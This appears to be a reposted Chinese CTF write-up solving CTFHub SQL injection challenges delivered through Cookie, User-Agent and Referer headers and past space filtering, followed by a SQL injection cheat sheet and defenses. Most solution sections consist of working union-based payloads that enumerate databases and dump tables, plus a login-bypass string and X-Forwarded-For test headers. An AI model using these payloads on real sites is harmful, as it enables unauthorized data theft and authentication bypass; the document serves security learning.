CTFHub | Cookie注入,UA注入,Refer注入,过滤空格(利用hackbar插件)

news2024/9/28 9:20:02

Cookie注入

Cookie 注入原理

            Cookie 注入的原理也和其他注入一样,只不过是将提交的参数以 Cookie 方式提交,而一般的注入是使用 GET 或者 POST 方式提交,GET 方式提交就是直接在网址后面加上需要注入的语句,POST 方式则是通过表单,GET 和 POST 的不同之处就在于可以通过 IE 地址栏处看到我们提交的参数,而 Cookie 注入却不能。
 

应用

一般使用cookie注入都是伪造cookie进行注入到数据库中而达到获取未经授权数据文件的目的。

防御

  • 对于从Cookie中提取的数据,始终进行充分的验证和过滤。
  • 使用参数化查询或预编译语句,而不是将用户提供的数据直接拼接到SQL查询中。
  • 最小化数据库用户的权限,确保数据库用户只能执行必要的操作。
  • 定期更新和修补应用程序以解决已知的安全漏洞。

解题

进入环境就得到这个页面

 F12+网络查看cookie,发现想要继续进行就要利用bp抓包进行注入

 

 接着开始注入,方法就是和盲注差不多,都是要进行判断爆破

使用'and 1 = 1'进行测试,判断是否存在sql注入

 

 

 判断出存在sql注入且注入方式为整数型注入

使用order by 判断字段数量,判断出字段数量为2列

 

 知道字段数量为2后,可以查看数据库位置,使用联合注入union select 1,2查看未发现数据

判断数据可能不存在数据库中,在id=1中加入负号查看数据

修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22

 修改2为database(),查看数据库名,发现数据库版本为sqli

查看全部数据库名

-1 union select 1,group_concat(schema_name)from information_schema.schemata

在全部数据库名中发现sqli,最后在sqli数据库中发现news和xavygzkmdt两个表名

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

 

 先查看xavygzkmdt表中的全部字段名,发现一个数据名为sepimfwspx

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='xavygzkmdt'

 

查看数据sepimfwspx中的内容,发现此题flag 

-1 union select 1,group_concat(sepimfwspx) from sqli.xavygzkmdt

 ctfhub{6045c2d822a696ba66fa65ed}

UA注入

User Agent 注入概述

            User-Agent 首部包含了一个特征字符串,用来让网络协议的对端来识别发起请求的用户代理软件的应用类型、操作系统、软件开发商以及版本号。一些网站会把用户的 UA 首部信息写入数据库,用来收集和统计用户信息,如果操作不当就有可能会导致 UA 注入。
 

解题

进入环境得到

 要进行UA注入,可以用bp抓包进行注入,也可以使用浏览器插件hackbar进行注入

 先用1 and 1=1来进行判断是否存在sql注入并判断出注入类型

 

存在sql注入且还是整数型注入

使用order by 判断字段数量

 

 从order by 1开始注入到 order by 3没有回显,证明字段数量为2列

知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据

判断数据可能不存在数据库中,将1改为-1查看数据

修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22

修改2为database(),查看数据库名,发现数据库版本为sqli

查看全部数据库名

-1 union select 1,group_concat(schema_name)from information_schema.schemata

在全部数据库名中发现sqli,最后在sqli数据库中发现ycdkqyhwly和news两个表名

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

 先查看ycdkqyhwly表中的全部字段名,发现一个数据名为vfkuxlgmjs

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='ycdkqyhwly'

 查看数据vfkuxlgmjs中的内容,发现此题flag

-1 union select 1,group_concat(vfkuxlgmjs) from sqli.ycdkqyhwly

ctfhub{0f980060810ed3b9edea3261}

笔记

UA注入原理

    UA注入是一种特定类型的SQL注入攻击,它利用了用户代理(User-Agent,简称UA)字符串中包含的恶意代码来攻击应用程序。UA字符串是浏览器或其他HTTP客户端发送给服务器的一部分信息,其中包括有关客户端操作系统、浏览器版本、设备类型等信息。
    UA注入攻击的原理与常规的SQL注入攻击类似,都是通过注入恶意的SQL语句来攻击应用程序的数据库。但是UA注入攻击的特点是,它不是利用表单字段或URL参数等用户可以直接操作的输入来注入SQL,而是利用UA字符串作为输入。攻击者可以通过修改UA字符串,将恶意的SQL代码插入到应用程序的数据库查询中。

防御

    对于从UA字符串中提取的数据,始终进行充分的验证和过滤。
    确保服务器端的输入验证和过滤逻辑能够正确处理所有的HTTP请求头字段。
    使用参数化查询或预编译语句,而不是将用户提供的数据直接拼接到SQL查询中。
    最小化数据库用户的权限,确保数据库用户只能执行必要的操作。

        SQL 注入点不止会出现在GET 参数或POST 参数中。其中UA注入则是一种特定的SQL注入形式,它利用了应用程序中使用的UA来进行攻击。

联合注入的流程

联合注入的过程

1、判断注入点

2、判断是闭合形式

3、判断查询列数

4、判断显示位

5、获取所有数据库名

6、获取数据库所有表名

7、获取字段名 

8、获取字段中的数据

 Refer注入

Refer注入原理

    Refer注入是一种利用HTTP头字段中的Referer(引荐者)信息来进行攻击的注入技术。Referer字段通常用于告诉服务器请求的来源,即用户是通过哪个页面或链接访问当前页面的。
    Refer注入攻击的原理是通过篡改Referer字段中的值,将恶意的SQL代码插入到应用程序的数据库查询中,从而执行非授权的操作或获取未经授权的数据。攻击者可以通过修改发送给服务器的HTTP请求的Referer字段,将恶意的SQL代码作为Referer值注入进去。

 防御

    对于从Referer字段中提取的数据,始终进行充分的验证和过滤。
    确保服务器端的输入验证和过滤逻辑能够正确处理所有的HTTP请求头字段。
    使用参数化查询或预编译语句,而不是将用户提供的数据直接拼接到SQL查询中。
    最小化数据库用户的权限,确保数据库用户只能执行必要的操作。
    在应用程序中实施访问控制和身份验证,限制用户对敏感数据和操作的访问。
 

 解题

同样的cookie注入,UA注入,Refer注入都可以用浏览器插件hackbar进行注入,也可以用bp抓包更改信息进行注入,伪造cookie,UA,Refer发送请求而达到注入的目的。

进入环境, F12启用hackbar插件

 先用1 and 1=1,判断是否存在sql注入及注入类型

 

 存在sql注入并且注入类型为整数型注入

使用order by 判断字段数量

1 order by 1

 

 

 

 知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据

1 union select 1,2

 判断数据可能不存在数据库中,将1改为-1查看数据

-1 union select 1,2

 修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22

 修改2为database(),查看数据库名,发现数据库版本为sqli

 查看全部数据库名

-1 union select 1,group_concat(schema_name)from information_schema.schemata

在全部数据库名中发现sqli,最后在sqli数据库中发现ajlpvakrna和news两个表名

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

 先查看ajlpvakrna表中的全部字段名,发现一个数据名为hjxducrloy

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='ajlpvakrna'

 查看数据hjxducrloy中的内容,发现此题flag

-1 union select 1,group_concat(hjxducrloy) from sqli.ajlpvakrna

过滤空格

进入环境先输入1

输入1 and 1=1,会报错

 进行过滤空格

1/**/and/**/1/**/=/**/1

 存在sql注入且注入类型为整数型注入

查询列数

1/**/order/**/by/**/1

到3的时候没有回显

 知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据

1/**/union/**/select/**/1,2

  判断数据可能不存在数据库中,将1改为-1查看数据

-1/**/union/**/select/**/1,2

 修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22

-1/**/union/**/select/**/1,version()

 修改2为database(),查看数据库名,发现数据库版本为sqli

-1/**/union/**/select/**/1,database()

 查看全部数据库名

-1/**/union/**/select/**/1,group_concat(schema_name)from/**/information_schema.schemata

在全部数据库名中发现sqli,最后在sqli数据库中发现htdxjvkudj和news两个表名

-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'

 先查看htdxjvkudj表中的全部字段名,发现一个数据名为vklvjwstxw

-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='sqli'/**/and/**/table_name='htdxjvkudj'

 查看数据vklvjwstxw中的内容,发现此题flag

-1/**/union/**/select/**/1,group_concat(vklvjwstxw)/**/from/**/sqli.htdxjvkudj

 ctfhub{89cb473f4f1e9c294f48fb4a}

SQL注入总结笔记

参考:【超详细版】学习SQL注入看这篇就够了(原理及思路绕过)_sql注入教程_网络安全-李彦暗的博客-CSDN博客

SQL注入原理


1.SQL注入概念及产生原因:

当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。


2.SQL注入的本质:

把用户输入的数据当作代码来执行,违背了“数据与代码分离”的原则
3.SQL注入的两个关键点:

1,用户能控制输入的内容; 2,web应用把用户输入的内容带入到数据库执行;
SQL注入基础危害:
)盗取网站的敏感信息;
)绕过网站后台认证 后台登录语句: SELECT * FROM admin WHERE Username=‘user’ and Password=‘pass’ 万能密码:‘or ’1‘ = ’1‘ # ;
)借助SQL注入漏洞提权获取系统权限;
)读取文件信息。


MYSQL数据库注入-常用函数:
(1)user() 返回当前使用数据库的用户,也就是网站配置文件中连接数据库的账号 (2)version() 返回当前数据库的版本 (3)database() 返回当前使用的数据库,只有在use命令选择一个数据库之后,才能查到 (4)group_concat() 把数据库中的某列数据或某几列数据合并为一个字符串 (5)@@datadir 数据库路径 (6)@@version_compile_os 操作系统版本


SQL(联合)注入流程:

?id=1 and 1=1


1、判断有无闭合 and 1=1 and 1=2 //结果和第一个一样说明需要闭合,反之无闭合 有闭合则需要用到 --+闭合
2、猜解字段 order by 10 //采用二分法 3、判断数据回显位置 -1 union select 1,2,3,4,5.... //参数等号后面加-表示不显示当前数据 4、获取当前数据库名、用户、版本 union select version(),database(),user(),4...... 4、获取全部数据库名

union select 1,2,(select group\_concat(schema\_name)from information\_schema.schemata)

5、获取表名

union select 1,2,(select group\_concat(table\_name)from information\_schema.tables where table\_schema='库名'

6、获取字段名

union select 1,2,(select group\_concat(column\_name)from information\_schema.columns where table\_name='表名'

7、获取数据 union select 1,2,(select group_concat(字段1,字段2)from 库名.表名
函数名称: 函数功能:

    查 库: select schema\_name from information\_schema.schema
    查 表: select table\_name from information\_schema.tables where table\_schema=库名
    查 列: select column\_name from information\_schema.columns where table\_name=表名
    查数据: select 列名 from 库名.表名

总结--普通SQL注入必备条件:

1、界面能够回显数据库查询到的数据(必要条件);
2、界面回显内容至少能够显示数据库中的某列数据(必要条件);
3、部分能够直接提供数据库报错内容的回显;


SQL注入思路


1.判断注入点

在GET参数、POST参数、Cookie、Referer、XFF、UA等地方尝试插入代码、符号或语句,尝试是否存在数据库参数读取行为,以及能否对其参数产生影响,如产生影响则说明存在注入点。
sql注入点类型

    get注入
    在get传参时写入参数,将SQl语句闭合,后面加写入自己的SQL语句。

    post注入
    通过post传参,原理与get一样,重要的是判断我们所输入的信息是否与数据库产生交互,其次判断SQL语句是如何闭合的。

    有些网站通过查询cookie判断用户是否登录,需要与数据库进行交互,我们可以修改cookie的值,查找我们所需要的东西。或者通过报错注入是网页返回报错信息。

    Referer注入
    Referer正确写法应该是Referrer,因为http规定时写错只能将错就错,有些网站会记录ip和访问路径,例如百度就是通过Referer来统计网站流量,我们将访问路径进行SQL注入,同样也可以得到想要的信息。

    XFF注入
    在用户登录注册模块在 HTTP 头信息添加 X-Forwarded-for: 9.9.9.9' ,用户在注册的时候,如果存在安全隐 患,会出现错误页面或者报错。从而导致注册或者登录用户失败。
    burpsuite 抓包,提交输入检测语句:

    X-Forwarded-for: 127.0.0.1'and 1=1#
    X-Forwarded-for: 127.0.0.1'and 1=2#

两次提交返回不一样,存在 SQL 注入漏洞
 UA注入
输入点在User-Agent


2.判断数据库类型

判断网站使用的是哪个数据库,常见数据库如:
MySQL、MSSQL(即SQLserver)、Oracle、Access、PostgreSQL、db2等等

在实际测试过程中尝试进行SQL注入第一步就是判断数据库类型,因为我们不容易知道对方使用的是什么数据库。
目前来说,企业使用MSSQL即SQLserver的数量最多,MySQL其次,Oracle再次。除此之外的几个常见数据库如 Access、PostgreSQL、db2则要少的多的多。


常用SQL注入判断数据库方法
● 使用数据库特有的函数来判断
● 使用数据库专属符号来判断,如注释符号、多语句查询符等等
● 报错信息判断
● 数据库特性判断


端口扫描

如果可以对主机进行端口扫描,可以根据是否开启对应端口,来大概判断数据库类型。
Oracle
默认端口号:1521
SQL Server
默认端口号:1433
MySQL
默认端口号:3306
PostgreSql
默认端口号:5432


网站类型与数据库的联系

asp:SQL Server,Access
.net :SQL Server
php:Mysql,PostgreSql
java:Oracle,Mysql
根据注释符判断

“#”是MySQL中的注释符,返回错误说明该注入点可能不是MySQL,另外也支持’-- ',和/* */注释(注意mysql使用-- 时需要后面添加空格)

“null”和“%00”是Access支持的注释。

“--”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。

“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1222983.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【计算机基础】优雅的PPT就应该这样设计

📢:如果你也对机器人、人工智能感兴趣,看来我们志同道合✨ 📢:不妨浏览一下我的博客主页【https://blog.csdn.net/weixin_51244852】 📢:文章若有幸对你有帮助,可点赞 👍…

【Java SE】继承

学习完了类之后,我们将继续学习一个Java中的重点内容“继承” 继承 1.1 为什么需要继承 举例: 在Cat类中和Dog类中我们发现有很多一样的地方,这样写太浪费空间和内存了 我们可以把它相同的地方都用一个类来表示,并且使用它1.2 继…

PCL 半径滤波剔除噪点(二)

目录 一、算法原理二、注意事项三、代码实现一、算法原理 PCL半径滤波是删除在输入的点云一定范围内没有达到足够多领域的所有数据点。通俗的讲:就是以一个点p给定一个范围r,领域点要求的个数为m,r若在这个点的r范围内部的个数大于m则保留,小于m则删除。因此,使用该算法时…

【MATLAB源码-第82期】基于matlab的OFDM系统载波频移偏差(CFO)估计,对比三种不同的方法。

操作环境: MATLAB 2013b 1、算法描述 正交频分复用(OFDM)系统中的载波频率偏移(CFO)估计是一项关键技术,用于确保数据传输的准确性和效率。CFO通常由于振荡器频率不匹配和多普勒频移引起。不同的CFO估计…

Docker Volume: 实现容器间数据共享与持久化的利器

文章目录 Docker Volume的作用Docker Volume与容器内数据的比较优势劣势 Docker Volume的创建和管理创建Docker Volume管理Docker Volume 演示Docker Volume的挂载Docker Volume的生命周期安全性考虑与Docker Volume应用场景Docker Volume与多容器协作容器迁移与Docker Volume未…

电子学会2023年6月青少年软件编程(图形化)等级考试试卷(二级)真题,含答案解析

青少年软件编程(图形化)等级考试试卷(二级) 一、单选题(共25题,共50分) 1. 运行下列哪段程序,可以让狗狗走到木屋门口?( ) A.

vite vue3安装element-plus

准备 参考 安装 官网 yarn add element-plus完整引入 如果你对打包后的文件大小不是很在乎,那么使用完整导入会更方便。 main.ts // main.ts import { createApp } from vue import ElementPlus from element-plus import element-plus/dist/index.css import…

数据资产到底如何入表?

2024年1月1日起,财政部《企业数据资源相关会计处理暂行规定》正式施行,距离现在只有一个多月的时间。 数据资源入表意味着企业可以将数据资源确认为企业资产负债表中“资产”一项。对于拥有丰富数据资源的企业来说,有望在财务报表中体现其真…

C++软件开发面试场景题

自己在秋招过程中遇到的一些场景题 海量数据N取Top K个元素,复杂度是多少 在处理海量数据中获取前K个元素(Top K)的问题中,通常会使用一些高效的算法来减少时间和空间复杂度。以下是两种常见的解决方案和它们的复杂度&#xff1…

VS中修改解决方案名称和项目名称

如何修改visual studio2019中的项目名 - 知乎 (zhihu.com) 查了很多,还是这个可行。虽然文中说不是最简单的,但在所查找资料中是可行且最简单的。 要点主要是: 1、比如我们复制一个解决方案,最好是带代码哈,也就是添…

Python 爬虫入门

文章目录 Python 爬虫入门requests 库beautifulsoup4库函数findall(),find()函数get() 爬虫实例 1:抓小说爬虫实例 2:抓豆瓣 top 250 的电影信息后记 Python 爬虫入门 Python 的爬虫功能使得程序员可以快速抓取并分析网页中的信息&#xff0…

【Nacos】配置管理、微服务配置拉取、实现配置热更新、多环境配置

🐌个人主页: 🐌 叶落闲庭 💨我的专栏:💨 c语言 数据结构 javaEE 操作系统 Redis 石可破也,而不可夺坚;丹可磨也,而不可夺赤。 Nacos 一、nacos实现配置管理1.1 统一配置管…

C#WPF用户控件及自定义控件实例

本文演示C#WPF自定义控件实例 用户控件(UserControl)和自定义控件(CustomControl)都是对UI控件的一种封装方式,目的都是实现封装后控件的重用。 只不过各自封装的实现方式和使用的场景上存在差异。 1 基于UserControl 创建 创建控件最简单一个方法就是基于UserControl …

基于Vue+SpringBoot的高校学生管理系统 开源项目

项目编号: S 029 ,文末获取源码。 \color{red}{项目编号:S029,文末获取源码。} 项目编号:S029,文末获取源码。 目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 学生管理模块2.2 学院课程模块2.3 学…

java智慧校园信息管理系统源码带微信小程序

一、智慧校园的定义 智慧校园指的是以云计算和物联网为基础的智慧化的校园工作、学习和生活一体化环境。以各种应用服务系统为载体,将教学、科研、管理和校园生活进行充分融合,让校园实现无处不在的网络学习、融合创新的网络科研、透明高效的校务治理、…

利用X6 制作一个简单的流程图工具

介绍 项目模版使用 我自己基于 arco-design 封装的一个 B 端项目模版 。 地址:https://github.com/duKD/antv-x6-org 运用 antv/X6 : https://x6.antv.antgroup.com/ 来实现 一个简单的流程图工具 项目预览: 功能 支持框选 alt鼠标左键…

linux课程第一课------命令的简单的介绍

作者前言 🎂 ✨✨✨✨✨✨🍧🍧🍧🍧🍧🍧🍧🎂 ​🎂 作者介绍: 🎂🎂 🎂 🎉🎉&#x1f389…

Springboot+vue的学生成绩管理系统(有报告),Javaee项目,springboot vue前后端分离项目。

演示视频: Springbootvue的学生成绩管理系统(有报告),Javaee项目,springboot vue前后端分离项目。 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家…

cadence virtuoso PEX option error

在设置PEX options时出现error。 Error while compiling rules file /home/IC/Tech/PDk_13mmrf_1P6M_30k/Calibre/LvS/SmicSPM7PR12R_cal013_mixR_sali_pimtx_1233_v2.6_2P . xrc: ErrorINCLi on lire 838of /home/IC/Tech/PDK_13mmrf_1P6M_30k/Calibre/LvS/SmicSPM7PR12R_cal…

深入理解Linux网络笔记(六):深度理解TCP连接建立过程

本文为《深入理解Linux网络》学习笔记,使用的Linux源码版本是3.10,网卡驱动默认采用的都是Intel的igb网卡驱动 Linux源码在线阅读:https://elixir.bootlin.com/linux/v3.10/source 5、深度理解TCP连接建立过程 1)、深入理解liste…